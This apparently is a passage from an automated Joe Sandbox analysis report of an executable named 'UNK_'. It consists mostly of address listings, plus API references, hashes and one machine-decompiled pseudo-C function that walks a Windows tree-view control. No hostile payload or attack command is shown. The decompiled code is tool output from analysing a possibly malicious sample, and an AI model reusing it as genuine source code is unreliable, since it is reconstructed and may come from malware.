                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a21e
                                                                                                                                                                            0x0040a220
                                                                                                                                                                            0x0042d9db
                                                                                                                                                                            0x0042d9db
                                                                                                                                                                            0x0042d9dd
                                                                                                                                                                            0x0040a275
                                                                                                                                                                            0x0040a275
                                                                                                                                                                            0x0040a275
                                                                                                                                                                            0x0040a278
                                                                                                                                                                            0x0040a27c
                                                                                                                                                                            0x0040a280
                                                                                                                                                                            0x0042da68
                                                                                                                                                                            0x0042da6a
                                                                                                                                                                            0x0042da6e
                                                                                                                                                                            0x0042da73
                                                                                                                                                                            0x0042da76
                                                                                                                                                                            0x0042da78
                                                                                                                                                                            0x0042daa0
                                                                                                                                                                            0x0042daa8
                                                                                                                                                                            0x0042daab
                                                                                                                                                                            0x0042daaf
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0040a213
                                                                                                                                                                            0x0040a218
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a218
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0042da7e
                                                                                                                                                                            0x0042da7e
                                                                                                                                                                            0x0042da89
                                                                                                                                                                            0x0042da8b
                                                                                                                                                                            0x0042da8e
                                                                                                                                                                            0x0042da90
                                                                                                                                                                            0x0042da93
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042da99
                                                                                                                                                                            0x0042da99
                                                                                                                                                                            0x0042da99
                                                                                                                                                                            0x0042da9c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042da9c
                                                                                                                                                                            0x0040a286
                                                                                                                                                                            0x0040a28d
                                                                                                                                                                            0x0040a297
                                                                                                                                                                            0x0040a29a
                                                                                                                                                                            0x0040a29f
                                                                                                                                                                            0x0040a2a2
                                                                                                                                                                            0x0040a2a5
                                                                                                                                                                            0x0040a2ab
                                                                                                                                                                            0x0040a2ae
                                                                                                                                                                            0x0040a2b3
                                                                                                                                                                            0x0042dab6
                                                                                                                                                                            0x0042dab6
                                                                                                                                                                            0x0042dab8
                                                                                                                                                                            0x0042daec
                                                                                                                                                                            0x0042daef
                                                                                                                                                                            0x0042daf2
                                                                                                                                                                            0x0042daf5
                                                                                                                                                                            0x0040a31f
                                                                                                                                                                            0x0040a31f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a31f
                                                                                                                                                                            0x0042dabe
                                                                                                                                                                            0x0042dabe
                                                                                                                                                                            0x0042dac0
                                                                                                                                                                            0x0040a310
                                                                                                                                                                            0x0040a310
                                                                                                                                                                            0x0040a316
                                                                                                                                                                            0x0040a319
                                                                                                                                                                            0x0040a31c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a31c
                                                                                                                                                                            0x0042dac6
                                                                                                                                                                            0x0040a2c1
                                                                                                                                                                            0x0040a2c3
                                                                                                                                                                            0x0042dade
                                                                                                                                                                            0x0042dae2
                                                                                                                                                                            0x0040a302
                                                                                                                                                                            0x0040a302
                                                                                                                                                                            0x0040a304
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a30a
                                                                                                                                                                            0x0040a30a
                                                                                                                                                                            0x0042dafd
                                                                                                                                                                            0x0042dafd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042dafd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a30a
                                                                                                                                                                            0x0040a2c9
                                                                                                                                                                            0x0040a2cb
                                                                                                                                                                            0x0042dacd
                                                                                                                                                                            0x0042dacd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a2d1
                                                                                                                                                                            0x0040a2d1
                                                                                                                                                                            0x0040a2d3
                                                                                                                                                                            0x0040a2d5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a2d7
                                                                                                                                                                            0x0040a2dd
                                                                                                                                                                            0x0040a2f2
                                                                                                                                                                            0x0040a2f5
                                                                                                                                                                            0x0042dad4
                                                                                                                                                                            0x0042dad7
                                                                                                                                                                            0x0040a2fb
                                                                                                                                                                            0x0040a2fb
                                                                                                                                                                            0x0040a300
                                                                                                                                                                            0x0040a300
                                                                                                                                                                            0x0040a300
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a2df
                                                                                                                                                                            0x0040a2df
                                                                                                                                                                            0x0040a2e2
                                                                                                                                                                            0x0040a2e5
                                                                                                                                                                            0x0040a2e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a2ea
                                                                                                                                                                            0x0042dacb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042dacb
                                                                                                                                                                            0x0040a2e8
                                                                                                                                                                            0x0040a2cb
                                                                                                                                                                            0x0040a2b9
                                                                                                                                                                            0x0040a2bb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a2bb
                                                                                                                                                                            0x0042d9e3
                                                                                                                                                                            0x0042d9e3
                                                                                                                                                                            0x0040a226
                                                                                                                                                                            0x0040a228
                                                                                                                                                                            0x0042d9fb
                                                                                                                                                                            0x0042d9ff
                                                                                                                                                                            0x0040a26b
                                                                                                                                                                            0x0040a26b
                                                                                                                                                                            0x0040a26d
                                                                                                                                                                            0x0042da09
                                                                                                                                                                            0x0042da09
                                                                                                                                                                            0x0042da09
                                                                                                                                                                            0x0042da0c
                                                                                                                                                                            0x0042da10
                                                                                                                                                                            0x0042da12
                                                                                                                                                                            0x0042da14
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042da1a
                                                                                                                                                                            0x0042da1c
                                                                                                                                                                            0x0042da20
                                                                                                                                                                            0x0042da25
                                                                                                                                                                            0x0042da28
                                                                                                                                                                            0x0042da2a
                                                                                                                                                                            0x0042da52
                                                                                                                                                                            0x0042da5a
                                                                                                                                                                            0x0042da5d
                                                                                                                                                                            0x0042da61
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0040a210
                                                                                                                                                                            0x0040a213
                                                                                                                                                                            0x0040a218
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a218
                                                                                                                                                                            0x0042da30
                                                                                                                                                                            0x0042da30
                                                                                                                                                                            0x0042da3b
                                                                                                                                                                            0x0042da3d
                                                                                                                                                                            0x0042da40
                                                                                                                                                                            0x0042da42
                                                                                                                                                                            0x0042da45
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042da4b
                                                                                                                                                                            0x0042da4b
                                                                                                                                                                            0x0042da4b
                                                                                                                                                                            0x0042da4e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042da4e
                                                                                                                                                                            0x0040a273
                                                                                                                                                                            0x0040a273
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a273
                                                                                                                                                                            0x0040a22e
                                                                                                                                                                            0x0040a230
                                                                                                                                                                            0x0042d9ea
                                                                                                                                                                            0x0042d9ea
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a236
                                                                                                                                                                            0x0040a236
                                                                                                                                                                            0x0040a238
                                                                                                                                                                            0x0040a23a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a240
                                                                                                                                                                            0x0040a246
                                                                                                                                                                            0x0040a25b
                                                                                                                                                                            0x0040a25e
                                                                                                                                                                            0x0042d9f1
                                                                                                                                                                            0x0042d9f4
                                                                                                                                                                            0x0040a264
                                                                                                                                                                            0x0040a264
                                                                                                                                                                            0x0040a269
                                                                                                                                                                            0x0040a269
                                                                                                                                                                            0x0040a269
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a248
                                                                                                                                                                            0x0040a248
                                                                                                                                                                            0x0040a24b
                                                                                                                                                                            0x0040a24e
                                                                                                                                                                            0x0040a251
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a253
                                                                                                                                                                            0x0042d9e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d9e8
                                                                                                                                                                            0x0040a251
                                                                                                                                                                            0x0042d9d3
                                                                                                                                                                            0x0042d9d3
                                                                                                                                                                            0x0042d9d5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d9d5
                                                                                                                                                                            0x0040a179
                                                                                                                                                                            0x0040a179
                                                                                                                                                                            0x0040a179
                                                                                                                                                                            0x0040a17d
                                                                                                                                                                            0x0040a17f
                                                                                                                                                                            0x0040a182
                                                                                                                                                                            0x0040a185
                                                                                                                                                                            0x0040a186
                                                                                                                                                                            0x0040a18a
                                                                                                                                                                            0x0040a190
                                                                                                                                                                            0x0040a1c9
                                                                                                                                                                            0x0040a1c9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a1c9
                                                                                                                                                                            0x0040a192
                                                                                                                                                                            0x0040a192
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040aa3a
                                                                                                                                                                            0x0040aa3a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d848
                                                                                                                                                                            0x0042d848
                                                                                                                                                                            0x0042d84a
                                                                                                                                                                            0x0042d84c
                                                                                                                                                                            0x0042d84f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d857
                                                                                                                                                                            0x0042d857
                                                                                                                                                                            0x0042d858
                                                                                                                                                                            0x0042d859
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a199
                                                                                                                                                                            0x0040a199
                                                                                                                                                                            0x0040a19b
                                                                                                                                                                            0x0040a1a0
                                                                                                                                                                            0x0040a1a5
                                                                                                                                                                            0x0042d841
                                                                                                                                                                            0x0040a1ab
                                                                                                                                                                            0x0040a1ab
                                                                                                                                                                            0x0040a1b0
                                                                                                                                                                            0x0040a1b5
                                                                                                                                                                            0x0040a1bb
                                                                                                                                                                            0x0040a1be
                                                                                                                                                                            0x0040a1c1
                                                                                                                                                                            0x0040a1c4
                                                                                                                                                                            0x0040a1c4
                                                                                                                                                                            0x0040a1c6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d869
                                                                                                                                                                            0x0042d869
                                                                                                                                                                            0x0042d86e
                                                                                                                                                                            0x0042d873
                                                                                                                                                                            0x0042d876
                                                                                                                                                                            0x0042d878
                                                                                                                                                                            0x0042d892
                                                                                                                                                                            0x0042d892
                                                                                                                                                                            0x0042d87e
                                                                                                                                                                            0x0042d87e
                                                                                                                                                                            0x0042d882
                                                                                                                                                                            0x0042d884
                                                                                                                                                                            0x0042d889
                                                                                                                                                                            0x0042d88b
                                                                                                                                                                            0x0042d88b
                                                                                                                                                                            0x0042d88b
                                                                                                                                                                            0x0042d88b
                                                                                                                                                                            0x0042d88b
                                                                                                                                                                            0x0042d894
                                                                                                                                                                            0x0042d898
                                                                                                                                                                            0x0042d89a
                                                                                                                                                                            0x0042d89e
                                                                                                                                                                            0x0042d8a4
                                                                                                                                                                            0x0042d8a7
                                                                                                                                                                            0x0042d8a7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d860
                                                                                                                                                                            0x0042d860
                                                                                                                                                                            0x0042d862
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d8ae
                                                                                                                                                                            0x0042d8ae
                                                                                                                                                                            0x0042d8b0
                                                                                                                                                                            0x0042d8b2
                                                                                                                                                                            0x0042d8b4
                                                                                                                                                                            0x0042d8b5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d8fc
                                                                                                                                                                            0x0042d8fc
                                                                                                                                                                            0x0042d8fe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d905
                                                                                                                                                                            0x0042d905
                                                                                                                                                                            0x0042d907
                                                                                                                                                                            0x0042d90c
                                                                                                                                                                            0x0042d90f
                                                                                                                                                                            0x0042d911
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d917
                                                                                                                                                                            0x0042d917
                                                                                                                                                                            0x0042d91b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d925
                                                                                                                                                                            0x0042d925
                                                                                                                                                                            0x0042d927
                                                                                                                                                                            0x0042d92c
                                                                                                                                                                            0x0042d92e
                                                                                                                                                                            0x0042d930
                                                                                                                                                                            0x0042d932
                                                                                                                                                                            0x0042d934
                                                                                                                                                                            0x0042d936
                                                                                                                                                                            0x0042d938
                                                                                                                                                                            0x0042d93b
                                                                                                                                                                            0x0042d93d
                                                                                                                                                                            0x0042d96d
                                                                                                                                                                            0x0042d96f
                                                                                                                                                                            0x0042d974
                                                                                                                                                                            0x0042d976
                                                                                                                                                                            0x0042d979
                                                                                                                                                                            0x0042d97b
                                                                                                                                                                            0x0042d97e
                                                                                                                                                                            0x0042d981
                                                                                                                                                                            0x0042d943
                                                                                                                                                                            0x0042d943
                                                                                                                                                                            0x0042d944
                                                                                                                                                                            0x0042d949
                                                                                                                                                                            0x0042d94b
                                                                                                                                                                            0x0042d94e
                                                                                                                                                                            0x0042d950
                                                                                                                                                                            0x0042d952
                                                                                                                                                                            0x0042d954
                                                                                                                                                                            0x0042d957
                                                                                                                                                                            0x0042d95b
                                                                                                                                                                            0x0042d960
                                                                                                                                                                            0x0042d965
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d989
                                                                                                                                                                            0x0042d989
                                                                                                                                                                            0x0042d98b
                                                                                                                                                                            0x0042d990
                                                                                                                                                                            0x0042d993
                                                                                                                                                                            0x0042d995
                                                                                                                                                                            0x0042d9a9
                                                                                                                                                                            0x0042d9a9
                                                                                                                                                                            0x0040aa3c
                                                                                                                                                                            0x0040aa3c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040aa3c
                                                                                                                                                                            0x0042d99b
                                                                                                                                                                            0x0042d99b
                                                                                                                                                                            0x0042d99d
                                                                                                                                                                            0x0042d99e
                                                                                                                                                                            0x0042d99f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a192
                                                                                                                                                                            0x00409fe6
                                                                                                                                                                            0x00409fed
                                                                                                                                                                            0x00409ff1
                                                                                                                                                                            0x0042d6b3
                                                                                                                                                                            0x0042d6bf
                                                                                                                                                                            0x0042d6c9
                                                                                                                                                                            0x0042d6ce
                                                                                                                                                                            0x0042d6d1
                                                                                                                                                                            0x0042d6d1
                                                                                                                                                                            0x00409ff7
                                                                                                                                                                            0x00409ffc
                                                                                                                                                                            0x0040a001
                                                                                                                                                                            0x0040a006
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a013
                                                                                                                                                                            0x0040a015
                                                                                                                                                                            0x0040a01a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a020
                                                                                                                                                                            0x0040a022
                                                                                                                                                                            0x0042d6e0
                                                                                                                                                                            0x0042d6e0
                                                                                                                                                                            0x0042d6e2
                                                                                                                                                                            0x0040a07b
                                                                                                                                                                            0x0040a07d
                                                                                                                                                                            0x0040a082
                                                                                                                                                                            0x0042d760
                                                                                                                                                                            0x0042d762
                                                                                                                                                                            0x0042d767
                                                                                                                                                                            0x0042d76a
                                                                                                                                                                            0x0042d76c
                                                                                                                                                                            0x0042d790
                                                                                                                                                                            0x0042d796
                                                                                                                                                                            0x0042d799
                                                                                                                                                                            0x0042d79e
                                                                                                                                                                            0x0042d7a2
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a013
                                                                                                                                                                            0x0040a015
                                                                                                                                                                            0x0040a01a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a01a
                                                                                                                                                                            0x0042d772
                                                                                                                                                                            0x0042d774
                                                                                                                                                                            0x0042d77c
                                                                                                                                                                            0x0042d781
                                                                                                                                                                            0x0042d784
                                                                                                                                                                            0x0042d786
                                                                                                                                                                            0x0042d78a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d78a
                                                                                                                                                                            0x0040a088
                                                                                                                                                                            0x0040a088
                                                                                                                                                                            0x0040a096
                                                                                                                                                                            0x0040a0a2
                                                                                                                                                                            0x0040a0a7
                                                                                                                                                                            0x0040a0ad
                                                                                                                                                                            0x0040a0b0
                                                                                                                                                                            0x0040a0b2
                                                                                                                                                                            0x0040a0b7
                                                                                                                                                                            0x0040a0ba
                                                                                                                                                                            0x0042d7b3
                                                                                                                                                                            0x0042d7b3
                                                                                                                                                                            0x0042d7b5
                                                                                                                                                                            0x0042d7b7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d7bd
                                                                                                                                                                            0x0042d7c1
                                                                                                                                                                            0x0042d7c5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d7c5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a0ba
                                                                                                                                                                            0x0042d6e8
                                                                                                                                                                            0x0042d6e8
                                                                                                                                                                            0x0040a028
                                                                                                                                                                            0x0040a02a
                                                                                                                                                                            0x0042d700
                                                                                                                                                                            0x0042d704
                                                                                                                                                                            0x0040a06d
                                                                                                                                                                            0x0040a06d
                                                                                                                                                                            0x0040a06f
                                                                                                                                                                            0x0042d70e
                                                                                                                                                                            0x0042d710
                                                                                                                                                                            0x0042d713
                                                                                                                                                                            0x0042d715
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d71b
                                                                                                                                                                            0x0042d71d
                                                                                                                                                                            0x0042d722
                                                                                                                                                                            0x0042d725
                                                                                                                                                                            0x0042d727
                                                                                                                                                                            0x0042d74b
                                                                                                                                                                            0x0042d751
                                                                                                                                                                            0x0042d754
                                                                                                                                                                            0x0042d759
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0042d72d
                                                                                                                                                                            0x0042d72f
                                                                                                                                                                            0x0042d737
                                                                                                                                                                            0x0042d73c
                                                                                                                                                                            0x0042d73f
                                                                                                                                                                            0x0042d741
                                                                                                                                                                            0x0042d745
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d745
                                                                                                                                                                            0x0040a075
                                                                                                                                                                            0x0040a075
                                                                                                                                                                            0x0042d7a9
                                                                                                                                                                            0x0042d7a9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d7a9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a075
                                                                                                                                                                            0x0040a030
                                                                                                                                                                            0x0040a032
                                                                                                                                                                            0x0042d6f1
                                                                                                                                                                            0x0042d6f1
                                                                                                                                                                            0x0040a038
                                                                                                                                                                            0x0040a038
                                                                                                                                                                            0x0040a03a
                                                                                                                                                                            0x0040a03c
                                                                                                                                                                            0x0040a040
                                                                                                                                                                            0x0040a040
                                                                                                                                                                            0x0040a040
                                                                                                                                                                            0x0040a046
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a048
                                                                                                                                                                            0x0040a048
                                                                                                                                                                            0x0040a04b
                                                                                                                                                                            0x0040a04e
                                                                                                                                                                            0x0040a051
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040a053
                                                                                                                                                                            0x0042d6ed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d6ed
                                                                                                                                                                            0x0040a051
                                                                                                                                                                            0x0040a058
                                                                                                                                                                            0x0040a05b
                                                                                                                                                                            0x0040a05f
                                                                                                                                                                            0x0040a062
                                                                                                                                                                            0x0042d6f8
                                                                                                                                                                            0x0040a068
                                                                                                                                                                            0x0040a068
                                                                                                                                                                            0x0040a068
                                                                                                                                                                            0x0040a062
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d6d8
                                                                                                                                                                            0x0042d6d8
                                                                                                                                                                            0x0042d6da
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d6da
                                                                                                                                                                            0x0040a010
                                                                                                                                                                            0x0040a00a
                                                                                                                                                                            0x0042d557
                                                                                                                                                                            0x0042d559
                                                                                                                                                                            0x0042d55b
                                                                                                                                                                            0x0042d55e
                                                                                                                                                                            0x0042d579
                                                                                                                                                                            0x0042d579
                                                                                                                                                                            0x0042d57a
                                                                                                                                                                            0x0042d57a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d57a
                                                                                                                                                                            0x0042d564
                                                                                                                                                                            0x0042d564
                                                                                                                                                                            0x0042d567
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d56d
                                                                                                                                                                            0x0042d56d
                                                                                                                                                                            0x0042d575
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d575
                                                                                                                                                                            0x00409efc
                                                                                                                                                                            0x00409e52
                                                                                                                                                                            0x0042e5d7
                                                                                                                                                                            0x0042e5db
                                                                                                                                                                            0x0042e5e4
                                                                                                                                                                            0x0042e5e9
                                                                                                                                                                            0x0042e5ed
                                                                                                                                                                            0x0042e5f2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042e5f2
                                                                                                                                                                            0x0042d2bf
                                                                                                                                                                            0x0042d2bf
                                                                                                                                                                            0x0042d2c3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042d2c3

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                                            • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                                            • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                                            • String ID: 4RH
                                                                                                                                                                            • API String ID: 2981388473-749298218
                                                                                                                                                                            • Opcode ID: 0f389687ece6ccfbc41247207d6b989f4fcf210062a6f3c408b10f16de6646f9
                                                                                                                                                                            • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                                            • Opcode Fuzzy Hash: 0f389687ece6ccfbc41247207d6b989f4fcf210062a6f3c408b10f16de6646f9
                                                                                                                                                                            • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 95%
                                                                                                                                                                            			E00438A5D(struct HWND__** _a4, char _a8, intOrPtr* _a12) {
				intOrPtr _v32;
				char _v128;
				intOrPtr _v132;
				char _v140;
				char _v144;
				char _v148;
				char _v156;
				char _v164;
				signed int _v172;
				char _v176;
				intOrPtr _v188;
				char _v192;
				intOrPtr _v196;
				intOrPtr _v204;
				char _v208;
				intOrPtr _v212;
				void* __edi;
				intOrPtr _t57;
				struct HWND__* _t92;
				char* _t97;
				char _t98;
				long _t102;
				long _t103;
				struct HWND__** _t104;

				_t104 = _a4;
				E00410480( &_v128);
				_v164 = _a8;
				_t102 = E00437543( &_v128, 0x10,  *_t104);
				E004374AF( &_v140,  &_v176, _t102, 0x10);
				_t92 =  *_t104;
				SendMessageW(_t92, 0x1104, 0, _t102);
				E00437472( &_v156, _t102,  &_v192, 0x10);
				_t98 = _v208;
				asm("cdq");
				_t57 = (_v196 - _v204 - _t92 >> 1) + _v204;
				 *((intOrPtr*)(_v32 + 4)) = _t57;
				_v188 = _t57;
				_t103 = E00437543( &_v172, 0x10,  *_t104);
				if(_t98 > _v212) {
					L6:
					E004104A0( &_v128);
					return 0;
				} else {
					while(1) {
						_v148 = _t98;
						E004374AF( &_v128,  &_v148, _t103, 0x10);
						SendMessageW( *_t104, 0x1111, 0, _t103);
						E00437472( &_v144, _t103,  &_v164, 0x10);
						if((_v172 & 0x00000040) != 0) {
							break;
						}
						_t98 = _t98 + 1;
						if(_t98 <= _v156) {
							continue;
						} else {
							E004104A0( &_v128);
							return 0;
						}
						goto L13;
					}
					if(_t98 <= _v156) {
						_v132 = _t98;
						while(1) {
							_v148 = _t98;
							E004374AF( &_v128,  &_v148, _t103, 0x10);
							SendMessageW( *_t104, 0x1111, 0, _t103);
							_t97 =  &_v144;
							E00437472(_t97, _t103,  &_v164, 0x10);
							if((_v172 & 0x00000040) == 0) {
								break;
							}
							_t98 = _t98 + 1;
							if(_t98 <= _v156) {
								continue;
							} else {
								goto L6;
							}
							goto L13;
						}
						if(_t98 > _v156) {
							goto L6;
						} else {
							asm("cdq");
							 *_a12 = (_t98 - _v132 - _t97 >> 1) + _v132;
							E004104A0( &_v128);
							return 1;
						}
					} else {
						goto L6;
					}
				}
				L13:
			}



























                                                                                                                                                                            0x00438a65
                                                                                                                                                                            0x00438a72
                                                                                                                                                                            0x00438a89
                                                                                                                                                                            0x00438a94
                                                                                                                                                                            0x00438aa1
                                                                                                                                                                            0x00438aa6
                                                                                                                                                                            0x00438ab8
                                                                                                                                                                            0x00438ac7
                                                                                                                                                                            0x00438ad4
                                                                                                                                                                            0x00438ada
                                                                                                                                                                            0x00438ae6
                                                                                                                                                                            0x00438ae8
                                                                                                                                                                            0x00438aeb
                                                                                                                                                                            0x00438b03
                                                                                                                                                                            0x00438b05
                                                                                                                                                                            0x00438b6f
                                                                                                                                                                            0x00438b73
                                                                                                                                                                            0x00438b84
                                                                                                                                                                            0x00438b0d
                                                                                                                                                                            0x00438b0d
                                                                                                                                                                            0x00438b1a
                                                                                                                                                                            0x00438b1e
                                                                                                                                                                            0x00438b2f
                                                                                                                                                                            0x00438b3e
                                                                                                                                                                            0x00438b48
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438b4a
                                                                                                                                                                            0x00438b4f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438b51
                                                                                                                                                                            0x00438b55
                                                                                                                                                                            0x00438b66
                                                                                                                                                                            0x00438b66
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438b4f
                                                                                                                                                                            0x00438b6d
                                                                                                                                                                            0x00438b87
                                                                                                                                                                            0x00438b8d
                                                                                                                                                                            0x00438b9a
                                                                                                                                                                            0x00438b9e
                                                                                                                                                                            0x00438baf
                                                                                                                                                                            0x00438bb9
                                                                                                                                                                            0x00438bbe
                                                                                                                                                                            0x00438bc8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438bca
                                                                                                                                                                            0x00438bcf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438bd1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438bd1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438bcf
                                                                                                                                                                            0x00438bd7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438bd9
                                                                                                                                                                            0x00438be1
                                                                                                                                                                            0x00438bf3
                                                                                                                                                                            0x00438bf5
                                                                                                                                                                            0x00438c06
                                                                                                                                                                            0x00438c06
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
